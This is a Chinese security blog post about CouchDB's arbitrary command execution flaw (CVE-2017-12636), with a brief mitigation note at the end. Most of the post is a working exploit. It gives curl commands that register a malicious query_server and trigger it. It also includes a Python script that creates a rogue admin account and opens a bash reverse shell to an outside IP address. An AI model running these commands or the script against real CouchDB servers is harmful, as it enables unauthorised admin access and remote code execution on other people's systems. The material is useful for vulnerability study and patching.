0x00 CouchDB安装
CouchDB官方网站:http://couchdb.apache.org/
一路Next直到完成安装,打开浏览器并访问以下链接:http://127.0.0.1:5984/
可以使用以下网址与CouchDB Web界面进行交互:http://127.0.0.1:5984/_utils
0x01 漏洞利用
1、新增query_server配置,写入要执行的命令;
curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
2、新建一个临时库和临时表,插入一条记录;
curl -X PUT 'http://username:password@your-ip:5984/vultest'
curl -X PUT 'http://username:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
3、调用query_server处理数据
curl -X POST 'http://username:password@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
执行后,可以看到,指定的命令已经成功执行:
0x02 Python利用脚本
修改其中的target和command为你的测试机器,然后修改version为对应的Couchdb版本,成功反弹shell。
参考自:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth
target = 'http://192.168.8.148:5984'
command = '"bash -i >& /dev/tcp/192.168.8.148/4444 0>&1"'
version = 2
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
0x04 解决方案
在CouchDB\etc\couchdb\default.ini中
port = 5984 couchdb的端口号
bind_address = 0.0.0.0 couchdb的ip地址,如果这里设置为127.0.0.1,那么外网无法访问。
max_connections = 2048 couchdb的最大连接数
database_dir = ../var/lib/couchdb 数据文件目录
view_index_dir = ../var/lib/couchdb 索引文件目录
util_driver_dir = ../lib/couch-1.0.1/priv/lib driver文件目录
file = ../var/log/couchdb/couch.log 日志文件
level = info 日志级别
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
参考链接:
CouchDB安装配置
http://www.yiibai.com/couchdb/installation.html
Couchdb 任意命令执行漏洞(CVE-2017-12636)
https://vulhub.org/#/environments/couchdb/CVE-2017-12636/
来源:https://www.cnblogs.com/xiaozi/p/8279983.html